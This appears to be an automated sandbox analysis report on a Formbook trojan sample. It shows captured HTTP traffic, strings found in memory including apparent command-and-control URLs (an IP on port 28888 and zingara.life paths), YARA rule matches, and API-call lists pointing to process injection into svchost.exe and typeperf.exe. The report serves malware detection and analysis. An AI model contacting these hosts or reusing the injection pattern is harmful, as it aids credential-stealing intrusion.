Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:07:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closex-sorting-hat-podid: 156x-sorting-hat-shopid: 68129128605vary: Accept-Encoding,Acceptx-frame-options: DENYx-shopid: 68129128605x-shardid: 156content-language: en-INx-shopify-nginx-no-cookies: 0set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USNY%22%2C%22reg%22%3A%22%22%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:56 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=zingara.life; path=/; expires=Thu, 10 Oct 2024 12:07:56 GMT; SameSite=Laxset-cookie: localization=IN; path=/; expires=Thu, 09 Oct 2025 12:07:56 GMT; SameSite=Laxset-cookie: _shopify_y=8a594a9b-e5d6-46f6-b3bc-dacfbc7bea45; Expires=Thu, 09-Oct-25 12:07:56 GMT; Domain=zingara.life; Path=/; SameSite=Laxset-cookie: _shopify_s=022fb35b-4924-43c4-88bf-911b01658e63; Expires=Wed, 09-Oct-24Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:08:39 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:08:42 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Oct 2024 12:08:47 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: typeperf.exe, 0000000C.00000002.3739193871.0000000003E38000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3740970787.00000000060B0000.00000004.00000800.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003098000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://156.226.108.99:28888/
Source: uxEGEjhWYrJv.exe, 0000000E.00000002.3739752184.0000000004E1B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.allthingsjasmin.com
Source: uxEGEjhWYrJv.exe, 0000000E.00000002.3739752184.0000000004E1B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.allthingsjasmin.com/eysm/
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: typeperf.exe, 0000000C.00000002.3730128385.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: typeperf.exe, 0000000C.00000002.3730128385.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: typeperf.exe, 0000000C.00000002.3730128385.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: typeperf.exe, 0000000C.00000002.3730128385.000000000099F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: typeperf.exe, 0000000C.00000002.3730128385.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: typeperf.exe, 0000000C.00000002.3730128385.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: typeperf.exe, 0000000C.00000003.1871640910.0000000007AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: typeperf.exe, 0000000C.00000002.3741075036.0000000007AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: typeperf.exe, 0000000C.00000002.3739193871.0000000004AC8000.00000004.10000000.00040000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3740970787.00000000060B0000.00000004.00000800.00020000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003D28000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: typeperf.exe, 0000000C.00000002.3739193871.0000000004936000.00000004.10000000.00040000.00000000.sdmp, uxEGEjhWYrJv.exe, 0000000E.00000002.3737715494.0000000003B96000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://zingara.life/s7qk?ZZY=iaY

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0042C723 NtClose,	9_2_0042C723
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C735C0 NtCreateMutant,LdrInitializeThunk,	9_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72B60 NtClose,LdrInitializeThunk,	9_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C74340 NtSetContextThread,	9_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C73090 NtSetValueKey,	9_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C73010 NtOpenDirectoryObject,	9_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C74650 NtSuspendThread,	9_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72BE0 NtQueryValueKey,	9_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72BF0 NtAllocateVirtualMemory,	9_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72B80 NtQueryInformationFile,	9_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72BA0 NtEnumerateValueKey,	9_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72AD0 NtReadFile,	9_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72AF0 NtWriteFile,	9_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72AB0 NtWaitForSingleObject,	9_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C739B0 NtGetContextThread,	9_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72FE0 NtCreateFile,	9_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72F90 NtProtectVirtualMemory,	9_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72FA0 NtQuerySection,	9_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72FB0 NtResumeThread,	9_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72F60 NtCreateProcessEx,	9_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72F30 NtCreateSection,	9_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72EE0 NtQueueApcThread,	9_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72E80 NtReadVirtualMemory,	9_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72EA0 NtAdjustPrivilegesToken,	9_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72E30 NtWriteVirtualMemory,	9_2_03C72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72DD0 NtDelayExecution,	9_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72DB0 NtEnumerateKey,	9_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C73D70 NtOpenThread,	9_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72D00 NtSetInformationFile,	9_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72D10 NtMapViewOfSection,	9_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C73D10 NtOpenProcessToken,	9_2_03C73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72D30 NtUnmapViewOfSection,	9_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72CC0 NtQueryVirtualMemory,	9_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72CF0 NtOpenProcess,	9_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72CA0 NtQueryInformationToken,	9_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72C60 NtCreateKey,	9_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72C70 NtFreeVirtualMemory,	9_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C72C00 NtQueryInformationProcess,	9_2_03C72C00
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03174340 NtSetContextThread,LdrInitializeThunk,	12_2_03174340
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03174650 NtSuspendThread,LdrInitializeThunk,	12_2_03174650
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031735C0 NtCreateMutant,LdrInitializeThunk,	12_2_031735C0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172B60 NtClose,LdrInitializeThunk,	12_2_03172B60
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172BA0 NtEnumerateValueKey,LdrInitializeThunk,	12_2_03172BA0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	12_2_03172BF0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172BE0 NtQueryValueKey,LdrInitializeThunk,	12_2_03172BE0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172AD0 NtReadFile,LdrInitializeThunk,	12_2_03172AD0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172AF0 NtWriteFile,LdrInitializeThunk,	12_2_03172AF0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031739B0 NtGetContextThread,LdrInitializeThunk,	12_2_031739B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172F30 NtCreateSection,LdrInitializeThunk,	12_2_03172F30
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172FB0 NtResumeThread,LdrInitializeThunk,	12_2_03172FB0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172FE0 NtCreateFile,LdrInitializeThunk,	12_2_03172FE0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172E80 NtReadVirtualMemory,LdrInitializeThunk,	12_2_03172E80
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172EE0 NtQueueApcThread,LdrInitializeThunk,	12_2_03172EE0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172D10 NtMapViewOfSection,LdrInitializeThunk,	12_2_03172D10
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172D30 NtUnmapViewOfSection,LdrInitializeThunk,	12_2_03172D30
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172DD0 NtDelayExecution,LdrInitializeThunk,	12_2_03172DD0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172DF0 NtQuerySystemInformation,LdrInitializeThunk,	12_2_03172DF0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172C70 NtFreeVirtualMemory,LdrInitializeThunk,	12_2_03172C70
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172C60 NtCreateKey,LdrInitializeThunk,	12_2_03172C60
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172CA0 NtQueryInformationToken,LdrInitializeThunk,	12_2_03172CA0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03173010 NtOpenDirectoryObject,	12_2_03173010
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03173090 NtSetValueKey,	12_2_03173090
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172B80 NtQueryInformationFile,	12_2_03172B80
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172AB0 NtWaitForSingleObject,	12_2_03172AB0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172F60 NtCreateProcessEx,	12_2_03172F60
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172F90 NtProtectVirtualMemory,	12_2_03172F90
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172FA0 NtQuerySection,	12_2_03172FA0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172E30 NtWriteVirtualMemory,	12_2_03172E30
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172EA0 NtAdjustPrivilegesToken,	12_2_03172EA0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03173D10 NtOpenProcessToken,	12_2_03173D10
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172D00 NtSetInformationFile,	12_2_03172D00
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03173D70 NtOpenThread,	12_2_03173D70
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172DB0 NtEnumerateKey,	12_2_03172DB0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172C00 NtQueryInformationProcess,	12_2_03172C00
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172CC0 NtQueryVirtualMemory,	12_2_03172CC0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03172CF0 NtOpenProcess,	12_2_03172CF0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D90C0 NtReadFile,	12_2_005D90C0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D91B0 NtDeleteFile,	12_2_005D91B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D9250 NtClose,	12_2_005D9250
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D93B0 NtAllocateVirtualMemory,	12_2_005D93B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005D8F50 NtCreateFile,	12_2_005D8F50

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00401540	9_2_00401540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00418773	9_2_00418773
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00410003	9_2_00410003
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00416953	9_2_00416953
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00401130	9_2_00401130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00403250	9_2_00403250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00410223	9_2_00410223
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_004012C0	9_2_004012C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0040E2A3	9_2_0040E2A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0042ED53	9_2_0042ED53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00402DC0	9_2_00402DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00402DB9	9_2_00402DB9
